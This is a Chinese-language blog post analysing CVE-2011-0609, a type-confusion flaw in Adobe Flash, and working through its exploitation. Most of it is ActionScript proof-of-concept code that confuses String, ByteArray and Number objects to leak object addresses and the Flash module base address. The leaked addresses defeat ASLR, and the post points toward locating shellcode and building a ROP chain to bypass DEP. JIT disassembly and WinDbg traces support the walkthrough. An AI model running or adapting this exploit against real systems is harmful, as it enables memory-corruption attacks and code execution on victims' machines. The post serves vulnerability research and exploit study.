Analysis of CVE-2011-0609 and Advance Exploit Technology

参考:

[1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
相关工具:
[1].SWFTools
[2].WinRABCDAsm\RABCDAsm
[3].Windbg

0×01.工具介绍
SWFTools用来编译as脚本,编译as脚本命令:
as3compile.exe poc.as -o poc.swf
注意生成文件的路径。
WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在调试Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#编写,所以运行时首先
需要安装微软.Net Frame Work4.0 ,安装完成后需要将RABAsm的目录添加到Path环境变量,因为WinRABCDAsm会调用RABAsm目录里面的exe文件,没有
环境变量会爆各种错误。完成后就可以通过WinRABCDAsm.exe启动,将要修改的SWF拖入,找到要修改的类和方法, 双击进行修改:

修改完成后点击Reassemble可将字节码重新打包编译成swf文件(修改在原文件上,注意备份原文件)
WinDbg就不用说了.

0×02.关于CVE-2011-0609
该漏洞的利用方式五花八门,通过IE当然是第一种,后来看了下F-Secure爆出通过Excel利用该漏洞的攻击样本,后面Vupen又写文章简单描述了下该漏洞的高级利用方式(without Spary ,without javascript),这里我们的POC也是参考该文章。

0×3. 漏洞成因
正常的AS如下:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        public class safe extends MovieClip 
         {

                public function bla():ByteArray 
                {
                        return new ByteArray();
                }

                public function safe() 
                {
                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                        t.length;
                }

        }
}

将上面代码保存成as文件,用SWFTools编译成swf,再用WinRABCDAsm修改字节码。修改前的字节码:

0×04 漏洞利用
为了绕过ASLR,需要泄漏flash ocx控件的基地址。
泄漏基地址的过程分为两部:
1.泄漏ByteArray地址
2.泄漏ByteArray结构的虚函数地址
第一步可以通过混淆string类型和ByteArray类型实现,具体代码如下

 public function bla():String 
                {
                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                }
                public function blb():ByteArray
                {
                        var t:ByteArray = new ByteArray();
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        return t;
                }

                public function main() 
                {
                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:ByteArray = blb();
                        var o:uint = t.length;//t is confused as String Object
                        trace("[output] ByteArray Object:0x"+o.toString(16));
                }

下图红色标注为ByteArray偏移0×10位置的指针。

返回结果:

接下来泄漏ByteArray结构的虚函数地址的代码如下:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        import flash.external.ExternalInterface;
        public class safe extends MovieClip
         {

                public function blc():Object
                {
                    return null;
                }
                public function bld(param:uint):uint
                {
                    var a:uint=parseInt(param);
                    a=a|0x00000007;
                    return a;
                }
                public function safe()
                {
                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                        var t3:uint=0x41414141;
                        var t0:uint=bld(t3);
                        var fakenumber:Number=new Number(t0);//t0 is confused as Number Object
                        trace("fakeunmber is :0x"+fakenumber.toString(16));
                }

        }
}

上面的代码用来将0×41414141的地址混淆成一个Number对象,其中safe函数生成的jit code如下:

04c59ec9 8945f0          mov     dword ptr [ebp-10h],eax
04c59ecc eb71            jmp     04c59f3f
04c59ece 8b45c8          mov     eax,dword ptr [ebp-38h]
04c59ed1 8b7008          mov     esi,dword ptr [eax+8]
04c59ed4 8bb6d4020000    mov     esi,dword ptr [esi+2D4h]
04c59eda 8d8d64ffffff    lea     ecx,[ebp-9Ch]
04c59ee0 898564ffffff    mov     dword ptr [ebp-9Ch],eax
04c59ee6 8b06            mov     eax,dword ptr [esi]
04c59ee8 51              push    ecx
04c59ee9 6a00            push    0
04c59eeb 56              push    esi
04c59eec ffd0            call    eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================>   bld()
04c59eee 83c40c          add     esp,0Ch
04c59ef1 8945f0          mov     dword ptr [ebp-10h],eax
04c59ef4 8b75f0          mov     esi,dword ptr [ebp-10h]
04c59ef7 8975d0          mov     dword ptr [ebp-30h],esi
04c59efa c745a880e3a604  mov     dword ptr [ebp-58h],4A6E380h
04c59f01 c745d841414141  mov     dword ptr [ebp-28h],41414141h
04c59f08 c745ac00e7a604  mov     dword ptr [ebp-54h],4A6E700h
04c59f0f 8b45c8          mov     eax,dword ptr [ebp-38h]
04c59f12 8b7008          mov     esi,dword ptr [eax+8]
04c59f15 8bb6d8020000    mov     esi,dword ptr [esi+2D8h]
04c59f1b 8d8d60ffffff    lea     ecx,[ebp-0A0h]
04c59f21 898560ffffff    mov     dword ptr [ebp-0A0h],eax
04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h
04c59f31 8b06            mov     eax,dword ptr [esi]
04c59f33 51              push    ecx
04c59f34 6a01            push    1
04c59f36 56              push    esi
04c59f37 ffd0            call    eax                            ==============================>   bld()
04c59f39 83c40c          add     esp,0Ch
04c59f3c 8945f0          mov     dword ptr [ebp-10h],eax
04c59f3f 8b75f0          mov     esi,dword ptr [ebp-10h]
04c59f42 8975e0          mov     dword ptr [ebp-20h],esi
04c59f45 c745b080e3a604  mov     dword ptr [ebp-50h],4A6E380h
04c59f4c 6a00            push    0
04c59f4e 68380fa204      push    4A20F38h
04c59f53 53              push    ebx
04c59f54 e857a45e60      call    Flash10h!CreateInstance+0x148bac (652443b0)
04c59f59 83c40c          add     esp,0Ch
04c59f5c 8bd6            mov     edx,esi
04c59f5e 8b75a0          mov     esi,dword ptr [ebp-60h]
04c59f61 8b405c          mov     eax,dword ptr [eax+5Ch]
04c59f64 83c801          or      eax,1
04c59f67 8d8d60ffffff    lea     ecx,[ebp-0A0h]
04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],1
04c59f77 899564ffffff    mov     dword ptr [ebp-9Ch],edx
04c59f7d 51              push    ecx
04c59f7e 6a01            push    1
04c59f80 50              push    eax
04c59f81 53              push    ebx
04c59f82 e8c9ae5f60      call    Flash10h!CreateInstance+0x15964c (65254e50)     ================== > Number()
04c59f87 83c410          add     esp,10h

Windbg调试时断在Number()处:

0:005> p
eax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000
eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206
04c84ec2 e889ff6760      call    Flash10h!CreateInstance+0x15964c (65304e50)
0:005> p
eax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000
eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
04c84ec7 83c410          add     esp,10h

返回的eax值为41414147即伪造的Number对象地址。如果不理解为何在bld函数中有个xor 7的操作,请看HaiFei Li的文章。
接下来就可以将0×41414141替换成第一步中泄漏的ByteArray的地址,并读取混淆后的虚函数地址,之后根据虚函数就可以获取基址了,
这里需要注意的是在同一个as文件中进行混淆时发现并没有成功,不知道何原因,将其放置在两个as文件中,如下:

main.as:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        import flash.external.ExternalInterface;
        public class main extends MovieClip 
         {

               
                public function bla():String 
                {
                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                }
                public function blb():ByteArray
                {
                        var t:ByteArray = new ByteArray();
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        return t;
                }

                public function main() 
                {
                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:ByteArray = blb();
                        var o:uint = t.length;//t is confused as String Object
                        trace("[output] ByteArray Object:0x"+o.toString(16));
                        var base:uint=egg.get_base(o);
                        trace("[output] Virtual function Address:0x"+base.toString(16));
                        trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16));
                }

        }
}

egg.as:

package poc {
        import flash.utils.ByteArray;
        public class egg
        {
            

                static public function blc():Object
                {
                    return null;
                }
                static public function bld(param:uint):uint
                {
                    var a:uint=param;
                    a=a|0x00000007;
                    return a;
                }
                static public function get_base(param:uint):uint
                {
                        trace("[output] arg from main:0x"+param.toString(16));
                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                        var t3:uint=bld(param);
                        var fakenumber:Number=new Number(t3);
                       // trace("[output] ByteArray Object:0x"+fakenumber.toString(16));
                        var b:ByteArray = new ByteArray();
                        b.writeDouble(fakenumber);
                        var res:uint;
                        res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];
                        return res;
                }

        }

    }

运行效果如下:

这样我们就可以获取模块的基址,通过同样的方式来获取shellcode地址,构造ROP链,ByPass DEP…

 

posted @ 2014-12-03 23:17  Lamboy  阅读(937)  评论(0编辑  收藏  举报